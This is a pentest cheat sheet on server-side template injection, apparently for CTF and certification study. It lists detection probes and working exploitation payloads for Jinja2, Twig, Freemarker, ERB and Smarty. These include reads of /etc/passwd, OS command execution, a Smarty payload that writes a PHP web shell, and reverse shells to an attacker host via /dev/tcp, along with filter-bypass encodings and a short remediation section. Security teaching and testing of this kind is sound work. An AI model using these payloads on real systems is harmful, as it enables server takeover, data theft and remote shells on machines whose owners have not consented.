Server-Side Template Injection
Table of Contents
User-supplied input is embedded directly into a server-side template and evaluated by the template engine. The attacker injects template syntax rather than HTML or SQL — the engine executes it as code, giving access to the application's object model and, frequently, OS-level code execution.
Distinct from XSS: XSS executes in the victim's browser; SSTI executes on the server. Severity is typically Critical — SSTI almost always leads to RCE.
Related: Jinja2 XSS Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet Webshell Reverse Shell
1. Detection
The detection payload is a mathematical expression in template syntax. If the engine evaluates it and returns the result (49), SSTI is confirmed. If it returns the literal string, it is not.
# Universal probe — try this first in every input field
{{7*7}} → 49 confirms Jinja2/Twig/Pebble
${7*7} → 49 confirms Freemarker/Thymeleaf
<%= 7*7 %> → 49 confirms ERB (Ruby)
#{7*7} → 49 confirms Smarty / some others
*{7*7} → 49 confirms Thymeleaf (Spring)
{{7*'7'}} → 7777777 confirms Jinja2 (string multiply)
→ 49 confirms Twig (numeric multiply)
# Test via curl curl "http://$IP/page?name={{7*7}}" curl "http://$IP/page?name=\${7*7}" # URL-encoded versions for parameters that need it curl "http://$IP/page?name=%7B%7B7*7%7D%7D"
2. Engine Identification
The response to detection payloads identifies which engine is running — the exploitation payloads differ per engine.
Payload → Response → Engine
{{7*7}} → 49 → Jinja2 or Twig
{{7*'7'}} → 7777777 → Jinja2 (Python string multiply)
{{7*'7'}} → 49 → Twig (PHP, numeric)
${7*7} → 49 → Freemarker or Thymeleaf
<%= 7*7 %> → 49 → ERB (Ruby on Rails)
#{7*7} → 49 → Smarty (PHP)
*{7*7} → 49 → Thymeleaf (Spring/Java)
Use the decision tree at https://portswigger.net/research/server-side-template-injection if unsure — inject several payloads and narrow by elimination.
3. Exploitation — Jinja2 (Python / Flask / Django)
Most common in CTF and web pentest contexts.
Read files
# Access Python's built-in classes via MRO chain {{''.__class__.__mro__[1].__subclasses__()}} # Find index of subprocess.Popen or os in subclasses list # (index varies per environment — enumerate the list) {{''.__class__.__mro__[1].__subclasses__()[<index>]('id',shell=True,stdout=-1).communicate()}} # Shorter file read via config object (Flask) {{config.__class__.__init__.__globals__['os'].popen('id').read()}} # Read /etc/passwd {{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
RCE — cleaner payloads
# Via request object (Flask — if available in template context) {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # Via cycler (often available in Jinja2) {{cycler.__init__.__globals__.os.popen('id').read()}} # Via joiner {{joiner.__init__.__globals__.os.popen('id').read()}} # Via lipsum (Jinja2 globals) {{lipsum.__globals__['os'].popen('id').read()}}
Reverse shell via Jinja2
# URL-encode the payload before injecting {{cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/$ATTACKER/4444 0>&1"').read()}}
4. Exploitation — Twig (PHP)
# Basic code execution {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} # File read {{_self.env.registerUndefinedFilterCallback("file_get_contents")}} {{_self.env.getFilter("/etc/passwd")}} # RCE via system {{['id']|filter('system')}} {{['cat /etc/passwd']|filter('system')}}
5. Exploitation — Freemarker (Java)
// RCE ${"freemarker.template.utility.Execute"?new()("id")} // Alternative <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} // Read file ${"/etc/passwd"?api.class.forName("java.nio.file.Files").readString( "/etc/passwd"?api.class.forName("java.nio.file.Paths").get("/etc/passwd"))}
6. Exploitation — ERB (Ruby on Rails)
<%= `id` %> <%= system("id") %> <%= IO.popen("id").read %> # Reverse shell <%= system("bash -c 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1'") %>
7. Exploitation — Smarty (PHP)
{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
8. Filter Bypass
If template delimiters are filtered:
# String concatenation to avoid pattern matching
{{''.join(['_','_','c','l','a','s','s','_','_'])}}
# Hex encoding
{{'\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f'}}
# Unicode escapes
{{'\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'}}
# attr() filter (Jinja2)
{{''|attr('__class__')}}
9. Testing Methodology
1. Identify every input that appears in the response — URL
parameters, form fields, headers, user profile fields
2. Inject {{7*7}} — if 49 is returned, SSTI confirmed
3. Try ${7*7} and <%= 7*7 %> if {{}} has no effect
4. Identify the engine from response differences
5. Escalate to OS command execution with the appropriate payload
6. Confirm with `id` or `whoami` before attempting reverse shell
7. Establish reverse shell and proceed with post-exploitation
10. Reporting Template
Classification: Server-Side Template Injection (SSTI)
Severity: Critical — RCE achieved / High — code evaluation confirmed but no RCE
Description:
The [parameter] at [endpoint] is embedded into a [Jinja2/Twig/
Freemarker] template without sanitisation. An attacker can inject
template syntax to execute arbitrary OS commands on the server.
Evidence:
GET /page?name={{7*7}} HTTP/1.1
HTTP/1.1 200 OK
Hello, 49!
---
GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}} HTTP/1.1
HTTP/1.1 200 OK
Hello, uid=33(www-data) gid=33(www-data)!
Remediation:
- Never pass user input directly to a template engine
- Use template sandboxing where the engine supports it
- Render user-supplied data as variables, not as template code
- Validate and sanitise all input before passing to any rendering function
Tips
- {{7*7}} is the fastest single check — one request tells you if SSTI is present and which engine family you are dealing with
- Jinja2 is the most common in CTF/PT1 contexts — learn the cycler and lipsum payloads as defaults
- Always confirm with `id` before attempting a reverse shell — some sandbox configurations allow template evaluation but block OS calls
- The MRO chain payload (subclasses enumeration) is the fallback when simpler Jinja2 payloads are filtered — it is more verbose but more reliable
- SSTI in user profile fields (name, bio) that are rendered in templates for other users is Stored SSTI — much higher impact, executes for any user viewing that profile